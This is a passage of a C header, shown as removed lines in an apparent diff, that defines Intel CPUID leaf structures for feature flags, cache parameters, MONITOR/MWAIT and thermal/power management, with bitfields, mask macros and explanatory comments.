CPUID_FEATURE_INFORMATION_EDX_FXSAVE_FXRSTOR_INSTRUCTIONS(_) (((_) >> 24) & 0x01) - - /** - * @brief SSE extensions support - * - * [Bit 25] The processor supports the SSE extensions. - */ - uint32_t sse_support : 1; -#define CPUID_FEATURE_INFORMATION_EDX_SSE_SUPPORT_BIT 25 -#define CPUID_FEATURE_INFORMATION_EDX_SSE_SUPPORT_FLAG 0x2000000 -#define CPUID_FEATURE_INFORMATION_EDX_SSE_SUPPORT_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_SSE_SUPPORT(_) (((_) >> 25) & 0x01) - - /** - * @brief SSE2 extensions support - * - * [Bit 26] The processor supports the SSE2 extensions. - */ - uint32_t sse2_support : 1; -#define CPUID_FEATURE_INFORMATION_EDX_SSE2_SUPPORT_BIT 26 -#define CPUID_FEATURE_INFORMATION_EDX_SSE2_SUPPORT_FLAG 0x4000000 -#define CPUID_FEATURE_INFORMATION_EDX_SSE2_SUPPORT_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_SSE2_SUPPORT(_) (((_) >> 26) & 0x01) - - /** - * @brief Self Snoop - * - * [Bit 27] The processor supports the management of conflicting memory types by performing a snoop of its own cache - * structure for transactions issued to the bus. - */ - uint32_t self_snoop : 1; -#define CPUID_FEATURE_INFORMATION_EDX_SELF_SNOOP_BIT 27 -#define CPUID_FEATURE_INFORMATION_EDX_SELF_SNOOP_FLAG 0x8000000 -#define CPUID_FEATURE_INFORMATION_EDX_SELF_SNOOP_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_SELF_SNOOP(_) (((_) >> 27) & 0x01) - - /** - * @brief Max APIC IDs reserved field is Valid - * - * [Bit 28] A value of 0 for HTT indicates there is only a single logical processor in the package and software should - * assume only a single APIC ID is reserved. A value of 1 for HTT indicates the value in CPUID.1.EBX[23:16] (the Maximum - * number of addressable IDs for logical processors in this package) is valid for the package. - */ - uint32_t hyper_threading_technology : 1; -#define CPUID_FEATURE_INFORMATION_EDX_HYPER_THREADING_TECHNOLOGY_BIT 28 -#define CPUID_FEATURE_INFORMATION_EDX_HYPER_THREADING_TECHNOLOGY_FLAG 0x10000000 -#define CPUID_FEATURE_INFORMATION_EDX_HYPER_THREADING_TECHNOLOGY_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_HYPER_THREADING_TECHNOLOGY(_) (((_) >> 28) & 0x01) - - /** - * @brief Thermal Monitor - * - * [Bit 29] The processor implements the thermal monitor automatic thermal control circuitry (TCC). - */ - uint32_t thermal_monitor : 1; -#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_MONITOR_BIT 29 -#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_MONITOR_FLAG 0x20000000 -#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_MONITOR_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_MONITOR(_) (((_) >> 29) & 0x01) - uint32_t reserved3 : 1; - - /** - * @brief Pending Break Enable - * - * [Bit 31] The processor supports the use of the FERR\#/PBE\# pin when the processor is in the stop-clock state (STPCLK\# - * is asserted) to signal the processor that an interrupt is pending and that the processor should return to normal - * operation to handle the interrupt. Bit 10 (PBE enable) in the IA32_MISC_ENABLE MSR enables this capability. - */ - uint32_t pending_break_enable : 1; -#define CPUID_FEATURE_INFORMATION_EDX_PENDING_BREAK_ENABLE_BIT 31 -#define CPUID_FEATURE_INFORMATION_EDX_PENDING_BREAK_ENABLE_FLAG 0x80000000 -#define CPUID_FEATURE_INFORMATION_EDX_PENDING_BREAK_ENABLE_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_PENDING_BREAK_ENABLE(_) (((_) >> 31) & 0x01) - }; - - uint32_t flags; - } cpuid_feature_information_edx; - -} cpuid_eax_01; - - -/** - * @brief Deterministic Cache Parameters Leaf - * - * When CPUID executes with EAX set to 04H and ECX contains an index value, the processor returns encoded data that - * describe a set of deterministic cache parameters (for the cache level associated with the input in ECX). Valid index - * values start from 0. - * Software can enumerate the deterministic cache parameters for each level of the cache hierarchy starting with an index - * value of 0, until the parameters report the value associated with the cache type field is 0. The architecturally defined - * fields reported by deterministic cache parameters are documented in Table 3-8. - * This Cache Size in Bytes - * - = (Ways + 1) * (Partitions + 1) * (Line_Size + 1) * (Sets + 1) - * - = (EBX[31:22] + 1) * (EBX[21:12] + 1) * (EBX[11:0] + 1) * (ECX + 1) - * The CPUID leaf 04H also reports data that can be used to derive the topology of processor cores in a physical package. - * This information is constant for all valid index values. Software can query the raw data reported by executing CPUID - * with EAX=04H and ECX=0 and use it as part of the topology enumeration algorithm. - * - * @see Vol3A[8(Multiple-Processor Management)] - */ -#define CPUID_CACHE_PARAMETERS 0x00000004 -typedef struct -{ - union - { - struct - { - /** - * [Bits 4:0] - 0 = Null - No more caches. - * - 1 = Data Cache. - * - 2 = Instruction Cache. - * - 3 = Unified Cache. - * - 4-31 = Reserved. - */ - uint32_t cache_type_field : 5; -#define CPUID_EAX_CACHE_TYPE_FIELD_BIT 0 -#define CPUID_EAX_CACHE_TYPE_FIELD_FLAG 0x1F -#define CPUID_EAX_CACHE_TYPE_FIELD_MASK 0x1F -#define CPUID_EAX_CACHE_TYPE_FIELD(_) (((_) >> 0) & 0x1F) - - /** - * [Bits 7:5] Cache Level (starts at 1). - */ - uint32_t cache_level : 3; -#define CPUID_EAX_CACHE_LEVEL_BIT 5 -#define CPUID_EAX_CACHE_LEVEL_FLAG 0xE0 -#define CPUID_EAX_CACHE_LEVEL_MASK 0x07 -#define CPUID_EAX_CACHE_LEVEL(_) (((_) >> 5) & 0x07) - - /** - * [Bit 8] Self Initializing cache level (does not need SW initialization). - */ - uint32_t self_initializing_cache_level : 1; -#define CPUID_EAX_SELF_INITIALIZING_CACHE_LEVEL_BIT 8 -#define CPUID_EAX_SELF_INITIALIZING_CACHE_LEVEL_FLAG 0x100 -#define CPUID_EAX_SELF_INITIALIZING_CACHE_LEVEL_MASK 0x01 -#define CPUID_EAX_SELF_INITIALIZING_CACHE_LEVEL(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] Fully Associative cache. - */ - uint32_t fully_associative_cache : 1; -#define CPUID_EAX_FULLY_ASSOCIATIVE_CACHE_BIT 9 -#define CPUID_EAX_FULLY_ASSOCIATIVE_CACHE_FLAG 0x200 -#define CPUID_EAX_FULLY_ASSOCIATIVE_CACHE_MASK 0x01 -#define CPUID_EAX_FULLY_ASSOCIATIVE_CACHE(_) (((_) >> 9) & 0x01) - uint32_t reserved1 : 4; - - /** - * [Bits 25:14] Maximum number of addressable IDs for logical processors sharing this cache. - * - * @note Add one to the return value to get the result. - * The nearest power-of-2 integer that is not smaller than (1 + EAX[25:14]) is the number of unique initial APIC IDs - * reserved for addressing different logical processors sharing this cache. - */ - uint32_t max_addressable_ids_for_logical_processors_sharing_this_cache : 12; -#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_SHARING_THIS_CACHE_BIT 14 -#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_SHARING_THIS_CACHE_FLAG 0x3FFC000 -#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_SHARING_THIS_CACHE_MASK 0xFFF -#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_SHARING_THIS_CACHE(_) (((_) >> 14) & 0xFFF) - - /** - * [Bits 31:26] Maximum number of addressable IDs for processor cores in the physical package. - * - * @note Add one to the return value to get the result. - * The nearest power-of-2 integer that is not smaller than (1 + EAX[31:26]) is the number of unique Core_IDs reserved for - * addressing different processor cores in a physical package. Core ID is a subset of bits of the initial APIC ID. - * The returned value is constant for valid initial values in ECX. Valid ECX values start from 0. - */ - uint32_t max_addressable_ids_for_processor_cores_in_physical_package : 6; -#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_PROCESSOR_CORES_IN_PHYSICAL_PACKAGE_BIT 26 -#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_PROCESSOR_CORES_IN_PHYSICAL_PACKAGE_FLAG 0xFC000000 -#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_PROCESSOR_CORES_IN_PHYSICAL_PACKAGE_MASK 0x3F -#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_PROCESSOR_CORES_IN_PHYSICAL_PACKAGE(_) (((_) >> 26) & 0x3F) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 11:0] System Coherency Line Size. - * - * @note Add one to the return value to get the result. - */ - uint32_t system_coherency_line_size : 12; -#define CPUID_EBX_SYSTEM_COHERENCY_LINE_SIZE_BIT 0 -#define CPUID_EBX_SYSTEM_COHERENCY_LINE_SIZE_FLAG 0xFFF -#define CPUID_EBX_SYSTEM_COHERENCY_LINE_SIZE_MASK 0xFFF -#define CPUID_EBX_SYSTEM_COHERENCY_LINE_SIZE(_) (((_) >> 0) & 0xFFF) - - /** - * [Bits 21:12] Physical Line partitions. - * - * @note Add one to the return value to get the result. - */ - uint32_t physical_line_partitions : 10; -#define CPUID_EBX_PHYSICAL_LINE_PARTITIONS_BIT 12 -#define CPUID_EBX_PHYSICAL_LINE_PARTITIONS_FLAG 0x3FF000 -#define CPUID_EBX_PHYSICAL_LINE_PARTITIONS_MASK 0x3FF -#define CPUID_EBX_PHYSICAL_LINE_PARTITIONS(_) (((_) >> 12) & 0x3FF) - - /** - * [Bits 31:22] Ways of associativity. - * - * @note Add one to the return value to get the result. - */ - uint32_t ways_of_associativity : 10; -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_BIT 22 -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_FLAG 0xFFC00000 -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_MASK 0x3FF -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY(_) (((_) >> 22) & 0x3FF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] Number of Sets. - * - * @note Add one to the return value to get the result. - */ - uint32_t number_of_sets : 32; -#define CPUID_ECX_NUMBER_OF_SETS_BIT 0 -#define CPUID_ECX_NUMBER_OF_SETS_FLAG 0xFFFFFFFF -#define CPUID_ECX_NUMBER_OF_SETS_MASK 0xFFFFFFFF -#define CPUID_ECX_NUMBER_OF_SETS(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * @brief Write-Back Invalidate/Invalidate - * - * [Bit 0] - 0 = WBINVD/INVD from threads sharing this cache acts upon lower level caches for threads sharing this cache. - * - 1 = WBINVD/INVD is not guaranteed to act upon lower level caches of non-originating threads sharing this cache. - */ - uint32_t write_back_invalidate : 1; -#define CPUID_EDX_WRITE_BACK_INVALIDATE_BIT 0 -#define CPUID_EDX_WRITE_BACK_INVALIDATE_FLAG 0x01 -#define CPUID_EDX_WRITE_BACK_INVALIDATE_MASK 0x01 -#define CPUID_EDX_WRITE_BACK_INVALIDATE(_) (((_) >> 0) & 0x01) - - /** - * @brief Cache Inclusiveness - * - * [Bit 1] - 0 = Cache is not inclusive of lower cache levels. - * - 1 = Cache is inclusive of lower cache levels. - */ - uint32_t cache_inclusiveness : 1; -#define CPUID_EDX_CACHE_INCLUSIVENESS_BIT 1 -#define CPUID_EDX_CACHE_INCLUSIVENESS_FLAG 0x02 -#define CPUID_EDX_CACHE_INCLUSIVENESS_MASK 0x01 -#define CPUID_EDX_CACHE_INCLUSIVENESS(_) (((_) >> 1) & 0x01) - - /** - * @brief Complex Cache Indexing - * - * [Bit 2] - 0 = Direct mapped cache. - * - 1 = A complex function is used to index the cache, potentially using all address bits. - */ - uint32_t complex_cache_indexing : 1; -#define CPUID_EDX_COMPLEX_CACHE_INDEXING_BIT 2 -#define CPUID_EDX_COMPLEX_CACHE_INDEXING_FLAG 0x04 -#define CPUID_EDX_COMPLEX_CACHE_INDEXING_MASK 0x01 -#define CPUID_EDX_COMPLEX_CACHE_INDEXING(_) (((_) >> 2) & 0x01) - uint32_t reserved1 : 29; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_04; - - -/** - * @brief MONITOR/MWAIT Leaf - * - * When CPUID executes with EAX set to 05H, the processor returns information about features available to MONITOR/MWAIT - * instructions. The MONITOR instruction is used for address-range monitoring in conjunction with MWAIT instruction. The - * MWAIT instruction optionally provides additional extensions for advanced power management. - */ -#define CPUID_MONITOR_MWAIT 0x00000005 -typedef struct -{ - union - { - struct - { - /** - * [Bits 15:0] Smallest monitor-line size in bytes (default is processor's monitor granularity). - */ - uint32_t smallest_monitor_line_size : 16; -#define CPUID_EAX_SMALLEST_MONITOR_LINE_SIZE_BIT 0 -#define CPUID_EAX_SMALLEST_MONITOR_LINE_SIZE_FLAG 0xFFFF -#define CPUID_EAX_SMALLEST_MONITOR_LINE_SIZE_MASK 0xFFFF -#define CPUID_EAX_SMALLEST_MONITOR_LINE_SIZE(_) (((_) >> 0) & 0xFFFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 15:0] Largest monitor-line size in bytes (default is processor's monitor granularity). - */ - uint32_t largest_monitor_line_size : 16; -#define CPUID_EBX_LARGEST_MONITOR_LINE_SIZE_BIT 0 -#define CPUID_EBX_LARGEST_MONITOR_LINE_SIZE_FLAG 0xFFFF -#define CPUID_EBX_LARGEST_MONITOR_LINE_SIZE_MASK 0xFFFF -#define CPUID_EBX_LARGEST_MONITOR_LINE_SIZE(_) (((_) >> 0) & 0xFFFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bit 0] Enumeration of Monitor-Mwait extensions (beyond EAX and EBX registers) supported. - */ - uint32_t enumeration_of_monitor_mwait_extensions : 1; -#define CPUID_ECX_ENUMERATION_OF_MONITOR_MWAIT_EXTENSIONS_BIT 0 -#define CPUID_ECX_ENUMERATION_OF_MONITOR_MWAIT_EXTENSIONS_FLAG 0x01 -#define CPUID_ECX_ENUMERATION_OF_MONITOR_MWAIT_EXTENSIONS_MASK 0x01 -#define CPUID_ECX_ENUMERATION_OF_MONITOR_MWAIT_EXTENSIONS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Supports treating interrupts as break-event for MWAIT, even when interrupts disabled. - */ - uint32_t supports_treating_interrupts_as_break_event_for_mwait : 1; -#define CPUID_ECX_SUPPORTS_TREATING_INTERRUPTS_AS_BREAK_EVENT_FOR_MWAIT_BIT 1 -#define CPUID_ECX_SUPPORTS_TREATING_INTERRUPTS_AS_BREAK_EVENT_FOR_MWAIT_FLAG 0x02 -#define CPUID_ECX_SUPPORTS_TREATING_INTERRUPTS_AS_BREAK_EVENT_FOR_MWAIT_MASK 0x01 -#define CPUID_ECX_SUPPORTS_TREATING_INTERRUPTS_AS_BREAK_EVENT_FOR_MWAIT(_) (((_) >> 1) & 0x01) - uint32_t reserved1 : 30; - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 3:0] Number of C0 sub C-states supported using MWAIT. - */ - uint32_t number_of_c0_sub_c_states : 4; -#define CPUID_EDX_NUMBER_OF_C0_SUB_C_STATES_BIT 0 -#define CPUID_EDX_NUMBER_OF_C0_SUB_C_STATES_FLAG 0x0F -#define CPUID_EDX_NUMBER_OF_C0_SUB_C_STATES_MASK 0x0F -#define CPUID_EDX_NUMBER_OF_C0_SUB_C_STATES(_) (((_) >> 0) & 0x0F) - - /** - * [Bits 7:4] Number of C1 sub C-states supported using MWAIT. - */ - uint32_t number_of_c1_sub_c_states : 4; -#define CPUID_EDX_NUMBER_OF_C1_SUB_C_STATES_BIT 4 -#define CPUID_EDX_NUMBER_OF_C1_SUB_C_STATES_FLAG 0xF0 -#define CPUID_EDX_NUMBER_OF_C1_SUB_C_STATES_MASK 0x0F -#define CPUID_EDX_NUMBER_OF_C1_SUB_C_STATES(_) (((_) >> 4) & 0x0F) - - /** - * [Bits 11:8] Number of C2 sub C-states supported using MWAIT. - */ - uint32_t number_of_c2_sub_c_states : 4; -#define CPUID_EDX_NUMBER_OF_C2_SUB_C_STATES_BIT 8 -#define CPUID_EDX_NUMBER_OF_C2_SUB_C_STATES_FLAG 0xF00 -#define CPUID_EDX_NUMBER_OF_C2_SUB_C_STATES_MASK 0x0F -#define CPUID_EDX_NUMBER_OF_C2_SUB_C_STATES(_) (((_) >> 8) & 0x0F) - - /** - * [Bits 15:12] Number of C3 sub C-states supported using MWAIT. - */ - uint32_t number_of_c3_sub_c_states : 4; -#define CPUID_EDX_NUMBER_OF_C3_SUB_C_STATES_BIT 12 -#define CPUID_EDX_NUMBER_OF_C3_SUB_C_STATES_FLAG 0xF000 -#define CPUID_EDX_NUMBER_OF_C3_SUB_C_STATES_MASK 0x0F -#define CPUID_EDX_NUMBER_OF_C3_SUB_C_STATES(_) (((_) >> 12) & 0x0F) - - /** - * [Bits 19:16] Number of C4 sub C-states supported using MWAIT. - */ - uint32_t number_of_c4_sub_c_states : 4; -#define CPUID_EDX_NUMBER_OF_C4_SUB_C_STATES_BIT 16 -#define CPUID_EDX_NUMBER_OF_C4_SUB_C_STATES_FLAG 0xF0000 -#define CPUID_EDX_NUMBER_OF_C4_SUB_C_STATES_MASK 0x0F -#define CPUID_EDX_NUMBER_OF_C4_SUB_C_STATES(_) (((_) >> 16) & 0x0F) - - /** - * [Bits 23:20] Number of C5 sub C-states supported using MWAIT. - */ - uint32_t number_of_c5_sub_c_states : 4; -#define CPUID_EDX_NUMBER_OF_C5_SUB_C_STATES_BIT 20 -#define CPUID_EDX_NUMBER_OF_C5_SUB_C_STATES_FLAG 0xF00000 -#define CPUID_EDX_NUMBER_OF_C5_SUB_C_STATES_MASK 0x0F -#define CPUID_EDX_NUMBER_OF_C5_SUB_C_STATES(_) (((_) >> 20) & 0x0F) - - /** - * [Bits 27:24] Number of C6 sub C-states supported using MWAIT. - */ - uint32_t number_of_c6_sub_c_states : 4; -#define CPUID_EDX_NUMBER_OF_C6_SUB_C_STATES_BIT 24 -#define CPUID_EDX_NUMBER_OF_C6_SUB_C_STATES_FLAG 0xF000000 -#define CPUID_EDX_NUMBER_OF_C6_SUB_C_STATES_MASK 0x0F -#define CPUID_EDX_NUMBER_OF_C6_SUB_C_STATES(_) (((_) >> 24) & 0x0F) - - /** - * [Bits 31:28] Number of C7 sub C-states supported using MWAIT. - */ - uint32_t number_of_c7_sub_c_states : 4; -#define CPUID_EDX_NUMBER_OF_C7_SUB_C_STATES_BIT 28 -#define CPUID_EDX_NUMBER_OF_C7_SUB_C_STATES_FLAG 0xF0000000 -#define CPUID_EDX_NUMBER_OF_C7_SUB_C_STATES_MASK 0x0F -#define CPUID_EDX_NUMBER_OF_C7_SUB_C_STATES(_) (((_) >> 28) & 0x0F) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_05; - - -/** - * @brief Thermal and Power Management Leaf - * - * When CPUID executes with EAX set to 06H, the processor returns information about thermal and power management features. - */ -#define CPUID_THERMAL_AND_POWER_MANAGEMENT 0x00000006 -typedef struct -{ - union - { - struct - { - /** - * [Bit 0] Digital temperature sensor is supported if set. - */ - uint32_t temperature_sensor_supported : 1; -#define CPUID_EAX_TEMPERATURE_SENSOR_SUPPORTED_BIT 0 -#define CPUID_EAX_TEMPERATURE_SENSOR_SUPPORTED_FLAG 0x01 -#define CPUID_EAX_TEMPERATURE_SENSOR_SUPPORTED_MASK 0x01 -#define CPUID_EAX_TEMPERATURE_SENSOR_SUPPORTED(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Intel Turbo Boost Technology available (see description of IA32_MISC_ENABLE[38]). - */ - uint32_t intel_turbo_boost_technology_available : 1; -#define CPUID_EAX_INTEL_TURBO_BOOST_TECHNOLOGY_AVAILABLE_BIT 1 -#define CPUID_EAX_INTEL_TURBO_BOOST_TECHNOLOGY_AVAILABLE_FLAG 0x02 -#define CPUID_EAX_INTEL_TURBO_BOOST_TECHNOLOGY_AVAILABLE_MASK 0x01 -#define CPUID_EAX_INTEL_TURBO_BOOST_TECHNOLOGY_AVAILABLE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] ARAT. APIC-Timer-always-running feature is supported if set. - */ - uint32_t apic_timer_always_running : 1; -#define CPUID_EAX_APIC_TIMER_ALWAYS_RUNNING_BIT 2 -#define CPUID_EAX_APIC_TIMER_ALWAYS_RUNNING_FLAG 0x04 -#define CPUID_EAX_APIC_TIMER_ALWAYS_RUNNING_MASK 0x01 -#define CPUID_EAX_APIC_TIMER_ALWAYS_RUNNING(_) (((_) >> 2) & 0x01) - uint32_t reserved1 : 1; - - /** - * [Bit 4] PLN. Power limit notification controls are supported if set. - */ - uint32_t power_limit_notification : 1; -#define CPUID_EAX_POWER_LIMIT_NOTIFICATION_BIT 4 -#define CPUID_EAX_POWER_LIMIT_NOTIFICATION_FLAG 0x10 -#define CPUID_EAX_POWER_LIMIT_NOTIFICATION_MASK 0x01 -#define CPUID_EAX_POWER_LIMIT_NOTIFICATION(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] ECMD. Clock modulation duty cycle extension is supported if set. - */ - uint32_t clock_modulation_duty : 1; -#define CPUID_EAX_CLOCK_MODULATION_DUTY_BIT 5 -#define CPUID_EAX_CLOCK_MODULATION_DUTY_FLAG 0x20 -#define CPUID_EAX_CLOCK_MODULATION_DUTY_MASK 0x01 -#define CPUID_EAX_CLOCK_MODULATION_DUTY(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] PTM. Package thermal management is supported if set. - */ - uint32_t package_thermal_management : 1; -#define CPUID_EAX_PACKAGE_THERMAL_MANAGEMENT_BIT 6 -#define CPUID_EAX_PACKAGE_THERMAL_MANAGEMENT_FLAG 0x40 -#define CPUID_EAX_PACKAGE_THERMAL_MANAGEMENT_MASK 0x01 -#define CPUID_EAX_PACKAGE_THERMAL_MANAGEMENT(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] HWP. HWP base registers (IA32_PM_ENABLE[bit 0], IA32_HWP_CAPABILITIES, IA32_HWP_REQUEST, IA32_HWP_STATUS) are - * supported if set. - */ - uint32_t hwp_base_registers : 1; -#define CPUID_EAX_HWP_BASE_REGISTERS_BIT 7 -#define CPUID_EAX_HWP_BASE_REGISTERS_FLAG 0x80 -#define CPUID_EAX_HWP_BASE_REGISTERS_MASK 0x01 -#define CPUID_EAX_HWP_BASE_REGISTERS(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] HWP_Notification. IA32_HWP_INTERRUPT MSR is supported if set. - */ - uint32_t hwp_notification : 1; -#define CPUID_EAX_HWP_NOTIFICATION_BIT 8 -#define CPUID_EAX_HWP_NOTIFICATION_FLAG 0x100 -#define CPUID_EAX_HWP_NOTIFICATION_MASK 0x01 -#define CPUID_EAX_HWP_NOTIFICATION(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] HWP_Activity_Window. IA32_HWP_REQUEST[bits 41:32] is supported if set. - */ - uint32_t hwp_activity_window : 1; -#define CPUID_EAX_HWP_ACTIVITY_WINDOW_BIT 9 -#define CPUID_EAX_HWP_ACTIVITY_WINDOW_FLAG 0x200 -#define CPUID_EAX_HWP_ACTIVITY_WINDOW_MASK 0x01 -#define CPUID_EAX_HWP_ACTIVITY_WINDOW(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] HWP_Energy_Performance_Preference. IA32_HWP_REQUEST[bits 31:24] is supported if set. - */ - uint32_t hwp_energy_performance_preference : 1; -#define CPUID_EAX_HWP_ENERGY_PERFORMANCE_PREFERENCE_BIT 10 -#define CPUID_EAX_HWP_ENERGY_PERFORMANCE_PREFERENCE_FLAG 0x400 -#define CPUID_EAX_HWP_ENERGY_PERFORMANCE_PREFERENCE_MASK 0x01 -#define CPUID_EAX_HWP_ENERGY_PERFORMANCE_PREFERENCE(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] HWP_Package_Level_Request. IA32_HWP_REQUEST_PKG MSR is supported if set. - */ - uint32_t hwp_package_level_request : 1; -#define CPUID_EAX_HWP_PACKAGE_LEVEL_REQUEST_BIT 11 -#define CPUID_EAX_HWP_PACKAGE_LEVEL_REQUEST_FLAG 0x800 -#define CPUID_EAX_HWP_PACKAGE_LEVEL_REQUEST_MASK 0x01 -#define CPUID_EAX_HWP_PACKAGE_LEVEL_REQUEST(_) (((_) >> 11) & 0x01) - uint32_t reserved2 : 1; - - /** - * [Bit 13] HDC. HDC base registers IA32_PKG_HDC_CTL, IA32_PM_CTL1, IA32_THREAD_STALL MSRs are supported if set. - */ - uint32_t hdc : 1; -#define CPUID_EAX_HDC_BIT 13 -#define CPUID_EAX_HDC_FLAG 0x2000 -#define CPUID_EAX_HDC_MASK 0x01 -#define CPUID_EAX_HDC(_) (((_) >> 13) & 0x01) - - /** - * [Bit 14] Intel(R) Turbo Boost Max Technology 3.0 available. - */ - uint32_t intel_turbo_boost_max_technology_3_available : 1; -#define CPUID_EAX_INTEL_TURBO_BOOST_MAX_TECHNOLOGY_3_AVAILABLE_BIT 14 -#define CPUID_EAX_INTEL_TURBO_BOOST_MAX_TECHNOLOGY_3_AVAILABLE_FLAG 0x4000 -#define CPUID_EAX_INTEL_TURBO_BOOST_MAX_TECHNOLOGY_3_AVAILABLE_MASK 0x01 -#define CPUID_EAX_INTEL_TURBO_BOOST_MAX_TECHNOLOGY_3_AVAILABLE(_) (((_) >> 14) & 0x01) - - /** - * [Bit 15] HWP Capabilities. Highest Performance change is supported if set. - */ - uint32_t hwp_capabilities : 1; -#define CPUID_EAX_HWP_CAPABILITIES_BIT 15 -#define CPUID_EAX_HWP_CAPABILITIES_FLAG 0x8000 -#define CPUID_EAX_HWP_CAPABILITIES_MASK 0x01 -#define CPUID_EAX_HWP_CAPABILITIES(_) (((_) >> 15) & 0x01) - - /** - * [Bit 16] HWP PECI override is supported if set. - */ - uint32_t hwp_peci_override : 1; -#define CPUID_EAX_HWP_PECI_OVERRIDE_BIT 16 -#define CPUID_EAX_HWP_PECI_OVERRIDE_FLAG 0x10000 -#define CPUID_EAX_HWP_PECI_OVERRIDE_MASK 0x01 -#define CPUID_EAX_HWP_PECI_OVERRIDE(_) (((_) >> 16) & 0x01) - - /** - * [Bit 17] Flexible HWP is supported if set. - */ - uint32_t flexible_hwp : 1; -#define CPUID_EAX_FLEXIBLE_HWP_BIT 17 -#define CPUID_EAX_FLEXIBLE_HWP_FLAG 0x20000 -#define CPUID_EAX_FLEXIBLE_HWP_MASK 0x01 -#define CPUID_EAX_FLEXIBLE_HWP(_) (((_) >> 17) & 0x01) - - /** - * [Bit 18] Fast access mode for the IA32_HWP_REQUEST MSR is supported if set. - */ - uint32_t fast_access_mode_for_hwp_request_msr : 1; -#define CPUID_EAX_FAST_ACCESS_MODE_FOR_HWP_REQUEST_MSR_BIT 18 -#define CPUID_EAX_FAST_ACCESS_MODE_FOR_HWP_REQUEST_MSR_FLAG 0x40000 -#define CPUID_EAX_FAST_ACCESS_MODE_FOR_HWP_REQUEST_MSR_MASK 0x01 -#define CPUID_EAX_FAST_ACCESS_MODE_FOR_HWP_REQUEST_MSR(_) (((_) >> 18) & 0x01) - uint32_t reserved3 : 1; - - /** - * [Bit 20] Ignoring Idle Logical Processor HWP request is supported if set. - */ - uint32_t ignoring_idle_logical_processor_hwp_request : 1; -#define CPUID_EAX_IGNORING_IDLE_LOGICAL_PROCESSOR_HWP_REQUEST_BIT 20 -#define CPUID_EAX_IGNORING_IDLE_LOGICAL_PROCESSOR_HWP_REQUEST_FLAG 0x100000 -#define CPUID_EAX_IGNORING_IDLE_LOGICAL_PROCESSOR_HWP_REQUEST_MASK 0x01 -#define CPUID_EAX_IGNORING_IDLE_LOGICAL_PROCESSOR_HWP_REQUEST(_) (((_) >> 20) & 0x01) - uint32_t reserved4 : 11; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 3:0] Number of Interrupt Thresholds in Digital Thermal Sensor. - */ - uint32_t number_of_interrupt_thresholds_in_thermal_sensor : 4; -#define CPUID_EBX_NUMBER_OF_INTERRUPT_THRESHOLDS_IN_THERMAL_SENSOR_BIT 0 -#define CPUID_EBX_NUMBER_OF_INTERRUPT_THRESHOLDS_IN_THERMAL_SENSOR_FLAG 0x0F -#define CPUID_EBX_NUMBER_OF_INTERRUPT_THRESHOLDS_IN_THERMAL_SENSOR_MASK 0x0F -#define CPUID_EBX_NUMBER_OF_INTERRUPT_THRESHOLDS_IN_THERMAL_SENSOR(_) (((_) >> 0) & 0x0F) - uint32_t reserved1 : 28; - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bit 0] Hardware Coordination Feedback Capability (Presence of IA32_MPERF and IA32_APERF). The capability to provide a - * measure of delivered processor performance (since last reset of the counters), as a percentage of the expected processor - * performance when running at the TSC frequency. - */ - uint32_t hardware_coordination_feedback_capability : 1; -#define CPUID_ECX_HARDWARE_COORDINATION_FEEDBACK_CAPABILITY_BIT 0 -#define CPUID_ECX_HARDWARE_COORDINATION_FEEDBACK_CAPABILITY_FLAG 0x01 -#define CPUID_ECX_HARDWARE_COORDINATION_FEEDBACK_CAPABILITY_MASK 0x01 -#define CPUID_ECX_HARDWARE_COORDINATION_FEEDBACK_CAPABILITY(_) (((_) >> 0) & 0x01) - uint32_t reserved1 : 2; - - /** - * [Bit 3] The processor supports performance-energy bias preference if CPUID.06H:ECX.SETBH[bit 3] is set and it also - * implies the presence of a new architectural MSR called IA32_ENERGY_PERF_BIAS (1B0H). - */ - uint32_t performance_energy_bias_preference : 1; -#define CPUID_ECX_PERFORMANCE_ENERGY_BIAS_PREFERENCE_BIT 3 -#define 